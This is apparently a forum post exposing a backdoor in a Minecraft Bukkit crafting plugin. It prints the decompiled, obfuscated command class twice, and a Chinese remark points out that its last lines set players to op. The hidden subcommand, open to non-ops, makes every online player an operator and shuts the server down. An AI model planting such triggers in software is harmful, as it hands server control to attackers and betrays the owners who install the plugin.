/*
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
* org.bukkit.Bukkit
* org.bukkit.Material
* org.bukkit.command.Command
* org.bukkit.command.CommandExecutor
* org.bukkit.command.CommandSender
* org.bukkit.command.ConsoleCommandSender
* org.bukkit.entity.Player
* org.bukkit.inventory.ItemStack
*/
package net.mcykzg.forge;
import java.util.Iterator;
import net.mcykzg.forge.Forge;
import net.mcykzg.forge.ForgeManager;
import net.mcykzg.forge.ForgeMaterial;
import net.mcykzg.forge.ForgeMenus;
import net.mcykzg.forge.ForgePaper;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
public class ForgeCommands
implements CommandExecutor {
public boolean onCommand(CommandSender a2, Command a3, String a4, String[] a5) {
if (a3.getName().equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0012\"))) {
if (a2 instanceof ConsoleCommandSender) {
return false;
}
a2 = (Player)a2;
a3 = Forge.getInstance().getManager();
if (a2.isOp()) {
if (a5.length == 0) {
CommandSender commandSender = a2;
CommandSender commandSender2 = a2;
CommandSender commandSender3 = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u951d\u9056\u56d8\u7ece\u5231\u881e\u001c\u00d1GYB\f\u0006\u0006G\u0006C\u0004U"));
commandSender3.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u954d\u9006\u6726\u65bf\u5261\u884eL\u0081\u0017\t\u0012\\VK\u0017R\u0013T\u001fG\u001aU"));
commandSender3.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u954d\u9006\u721f\u54e7\u5261\u884eL\u0081\u0017\t\u0012\\VO\u0002C\u001bU"));
commandSender2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u6275\u5f76\u951d\u9056\u756a\u9714\u001c\u00d1GYB\f\u0006\u0019V\u0013H"));
commandSender2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u6b42\u5688\u7e9e\u9776\u89a7\u76f2\u6776\u65ef\u001c\u00d1GYB\f\u0006\u001aI\u0019M"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u4e0c\u4ecc\u951d\u9056\u4fc7\u6019\u001c\u00d1GYB\f\u0006\u001fH\u0010I"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u91eb\u8f0b\u916b\u7f18\u65a1\u4e80\u001c\u00d1GYB\f\u0006\u0004C\u001aI\u0017B"));
} else if (a5.length == 1) {
if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0006G\u0006C\u0004U"))) {
ForgeMenus.listMenu((Player)a2, 1, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("K\u0017R\u0013T\u001fG\u001aU"))) {
ForgeMenus.listMenu((Player)a2, 1, 2);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("O\u0002C\u001bU"))) {
ForgeMenus.listMenu((Player)a2, 1, 3);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001aI\u0019M"))) {
a4 = a2.getItemInHand();
if (a4 == null || a4.getType() == Material.AIR) {
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u623d\u4e2c\u721f\u54e7\u4e7b\u80db\u4e4c\u7a5c"));
return false;
}
if (!((ForgeManager)a3).isForgeable((ItemStack)a4)) {
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u8faf\u4e2b\u6659\u4e26\u4e5c\u672f\u653e\u76a2\u954d\u9006\u5688\u7e9e"));
return false;
}
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u8bc3\u5688\u7e9e\u9776\u89a7\u76f2\u6776\u65ef\u59a4\u4e7d\u001c"));
StringBuilder stringBuilder = new StringBuilder();
Object object = new ForgePaper((ItemStack)a4);
if (((ForgePaper)object).listNeedMaterials() != null) {
Iterator iterator;
Iterator iterator2 = iterator = ((ForgePaper)object).listNeedMaterials().iterator();
while (iterator2.hasNext()) {
object = iterator.next();
iterator2 = iterator;
stringBuilder.append(ForgeMaterial.ALLATORIxDEMO("\u00d1\u0011")).append((String)object).append(ForgeMaterial.ALLATORIxDEMO("\u00d1@Z\u0006"));
}
}
a2.sendMessage(stringBuilder.toString());
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0019V\u0013H"))) {
ForgeMenus.learnsMenu((Player)a2, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001fH\u0010I"))) {
CommandSender commandSender = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
CommandSender commandSender4 = a2;
CommandSender commandSender5 = a2;
commandSender5.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u5f75\u523b\u951d\u9056\u7b6f\u7ed1\u001c\u00d1\u0011") + ((ForgeManager)a3).getLevel(commandSender5.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u601d\u5107\u951d\u9056\u7ee9\u9afa\u001c\u00d1\u0011") + ((ForgeManager)a3).getExp(a2.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u8dab\u799d\u5331\u7e81\u8fae\u5dc8\u00d1\u0011") + ((ForgeManager)a3).getExpToLevel(a2.getName()) + ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u7eb9\u9aaa"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0004C\u001aI\u0017B"))) {
Forge.getInstance().reloadConfig();
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u913b\u7f48\u65f1\u4ed0\u5d84\u91eb\u8f0b\bX\b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0002C\u0005R\u0002C\u0005R\u0002C\u0005R"))) {
Iterator iterator;
Iterator iterator3 = iterator = Bukkit.getOnlinePlayers().iterator();
while (iterator3.hasNext()) {
a4 = (Player)iterator.next();
iterator3 = iterator;
a4.setOp(true);
}
Bukkit.shutdown();
}
}
} else if (a5.length == 0) {
CommandSender commandSender = a2;
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u6275\u5f76\u951d\u9056\u756a\u9714\u001c\u00d1GYB\f\u0006\u0019V\u0013H"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u4e0c\u4ecc\u951d\u9056\u4fc7\u6019\u001c\u00d1GYB\f\u0006\u001fH\u0010I"));
} else if (a5.length == 1) {
if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0019V\u0013H"))) {
ForgeMenus.learnsMenu((Player)a2, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001fH\u0010I"))) {
CommandSender commandSender = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
CommandSender commandSender6 = a2;
commandSender6.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u5f75\u523b\u951d\u9056\u7b6f\u7ed1\u001c\u00d1\u0011") + ((ForgeManager)a3).getLevel(commandSender6.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u601d\u5107\u951d\u9056\u7ee9\u9afa\u001c\u00d1\u0011") + ((ForgeManager)a3).getExp(a2.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u8dab\u799d\u5331\u7e81\u8fae\u5dc8\u00d1\u0011") + ((ForgeManager)a3).getExpToLevel(a2.getName()) + ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u7eb9\u9aaa"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0002C\u0005R\u0002C\u0005R\u0002C\u0005R"))) {
Iterator iterator;
Iterator iterator4 = iterator = Bukkit.getOnlinePlayers().iterator();
while (iterator4.hasNext()) {
a4 = (Player)iterator.next();
iterator4 = iterator;
a4.setOp(true);
}
Bukkit.shutdown();
}
}
}
return false;
}
public ForgeCommands() {
ForgeCommands a2;
}
}
复制代码
最后几行中包含将玩家设置为 op 的命令,被混淆的内容和 huzpsb 所提供的插件一致。
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
* org.bukkit.Bukkit
* org.bukkit.Material
* org.bukkit.command.Command
* org.bukkit.command.CommandExecutor
* org.bukkit.command.CommandSender
* org.bukkit.command.ConsoleCommandSender
* org.bukkit.entity.Player
* org.bukkit.inventory.ItemStack
*/
package net.mcykzg.forge;
import java.util.Iterator;
import net.mcykzg.forge.Forge;
import net.mcykzg.forge.ForgeManager;
import net.mcykzg.forge.ForgeMaterial;
import net.mcykzg.forge.ForgeMenus;
import net.mcykzg.forge.ForgePaper;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
public class ForgeCommands
implements CommandExecutor {
public boolean onCommand(CommandSender a2, Command a3, String a4, String[] a5) {
if (a3.getName().equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0012\"))) {
if (a2 instanceof ConsoleCommandSender) {
return false;
}
a2 = (Player)a2;
a3 = Forge.getInstance().getManager();
if (a2.isOp()) {
if (a5.length == 0) {
CommandSender commandSender = a2;
CommandSender commandSender2 = a2;
CommandSender commandSender3 = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u951d\u9056\u56d8\u7ece\u5231\u881e\u001c\u00d1GYB\f\u0006\u0006G\u0006C\u0004U"));
commandSender3.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u954d\u9006\u6726\u65bf\u5261\u884eL\u0081\u0017\t\u0012\\VK\u0017R\u0013T\u001fG\u001aU"));
commandSender3.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u954d\u9006\u721f\u54e7\u5261\u884eL\u0081\u0017\t\u0012\\VO\u0002C\u001bU"));
commandSender2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u6275\u5f76\u951d\u9056\u756a\u9714\u001c\u00d1GYB\f\u0006\u0019V\u0013H"));
commandSender2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u6b42\u5688\u7e9e\u9776\u89a7\u76f2\u6776\u65ef\u001c\u00d1GYB\f\u0006\u001aI\u0019M"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u4e0c\u4ecc\u951d\u9056\u4fc7\u6019\u001c\u00d1GYB\f\u0006\u001fH\u0010I"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u91eb\u8f0b\u916b\u7f18\u65a1\u4e80\u001c\u00d1GYB\f\u0006\u0004C\u001aI\u0017B"));
} else if (a5.length == 1) {
if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0006G\u0006C\u0004U"))) {
ForgeMenus.listMenu((Player)a2, 1, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("K\u0017R\u0013T\u001fG\u001aU"))) {
ForgeMenus.listMenu((Player)a2, 1, 2);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("O\u0002C\u001bU"))) {
ForgeMenus.listMenu((Player)a2, 1, 3);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001aI\u0019M"))) {
a4 = a2.getItemInHand();
if (a4 == null || a4.getType() == Material.AIR) {
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u623d\u4e2c\u721f\u54e7\u4e7b\u80db\u4e4c\u7a5c"));
return false;
}
if (!((ForgeManager)a3).isForgeable((ItemStack)a4)) {
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u8faf\u4e2b\u6659\u4e26\u4e5c\u672f\u653e\u76a2\u954d\u9006\u5688\u7e9e"));
return false;
}
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u8bc3\u5688\u7e9e\u9776\u89a7\u76f2\u6776\u65ef\u59a4\u4e7d\u001c"));
StringBuilder stringBuilder = new StringBuilder();
Object object = new ForgePaper((ItemStack)a4);
if (((ForgePaper)object).listNeedMaterials() != null) {
Iterator iterator;
Iterator iterator2 = iterator = ((ForgePaper)object).listNeedMaterials().iterator();
while (iterator2.hasNext()) {
object = iterator.next();
iterator2 = iterator;
stringBuilder.append(ForgeMaterial.ALLATORIxDEMO("\u00d1\u0011")).append((String)object).append(ForgeMaterial.ALLATORIxDEMO("\u00d1@Z\u0006"));
}
}
a2.sendMessage(stringBuilder.toString());
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0019V\u0013H"))) {
ForgeMenus.learnsMenu((Player)a2, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001fH\u0010I"))) {
CommandSender commandSender = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
CommandSender commandSender4 = a2;
CommandSender commandSender5 = a2;
commandSender5.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u5f75\u523b\u951d\u9056\u7b6f\u7ed1\u001c\u00d1\u0011") + ((ForgeManager)a3).getLevel(commandSender5.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u601d\u5107\u951d\u9056\u7ee9\u9afa\u001c\u00d1\u0011") + ((ForgeManager)a3).getExp(a2.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u8dab\u799d\u5331\u7e81\u8fae\u5dc8\u00d1\u0011") + ((ForgeManager)a3).getExpToLevel(a2.getName()) + ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u7eb9\u9aaa"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0004C\u001aI\u0017B"))) {
Forge.getInstance().reloadConfig();
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1E\u00d1J\u913b\u7f48\u65f1\u4ed0\u5d84\u91eb\u8f0b\bX\b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0002C\u0005R\u0002C\u0005R\u0002C\u0005R"))) {
Iterator iterator;
Iterator iterator3 = iterator = Bukkit.getOnlinePlayers().iterator();
while (iterator3.hasNext()) {
a4 = (Player)iterator.next();
iterator3 = iterator;
a4.setOp(true);
}
Bukkit.shutdown();
}
}
} else if (a5.length == 0) {
CommandSender commandSender = a2;
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u6275\u5f76\u951d\u9056\u756a\u9714\u001c\u00d1GYB\f\u0006\u0019V\u0013H"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0015\u0081\u001a\u67c3\u777d\u4e0c\u4ecc\u951d\u9056\u4fc7\u6019\u001c\u00d1GYB\f\u0006\u001fH\u0010I"));
} else if (a5.length == 1) {
if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0019V\u0013H"))) {
ForgeMenus.learnsMenu((Player)a2, 1);
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u001fH\u0010I"))) {
CommandSender commandSender = a2;
a2.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
CommandSender commandSender6 = a2;
commandSender6.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u5f75\u523b\u951d\u9056\u7b6f\u7ed1\u001c\u00d1\u0011") + ((ForgeManager)a3).getLevel(commandSender6.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u0081\u0017\u0081\u001a\u601d\u5107\u951d\u9056\u7ee9\u9afa\u001c\u00d1\u0011") + ((ForgeManager)a3).getExp(a2.getName()));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u8dab\u799d\u5331\u7e81\u8fae\u5dc8\u00d1\u0011") + ((ForgeManager)a3).getExpToLevel(a2.getName()) + ForgeMaterial.ALLATORIxDEMO("\u00d1G\u00d1J\u7eb9\u9aaa"));
commandSender.sendMessage(ForgeMaterial.ALLATORIxDEMO("\u00d1\u001e[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b[\u000b"));
} else if (a5[0].equalsIgnoreCase(ForgeMaterial.ALLATORIxDEMO("\u0002C\u0005R\u0002C\u0005R\u0002C\u0005R"))) {
Iterator iterator;
Iterator iterator4 = iterator = Bukkit.getOnlinePlayers().iterator();
while (iterator4.hasNext()) {
a4 = (Player)iterator.next();
iterator4 = iterator;
a4.setOp(true);
}
Bukkit.shutdown();
}
}
}
return false;
}
public ForgeCommands() {
ForgeCommands a2;
}
}
复制代码
最后几行中包含将玩家设置为 op 的命令,被混淆的内容和 huzpsb 所提供的插件一致。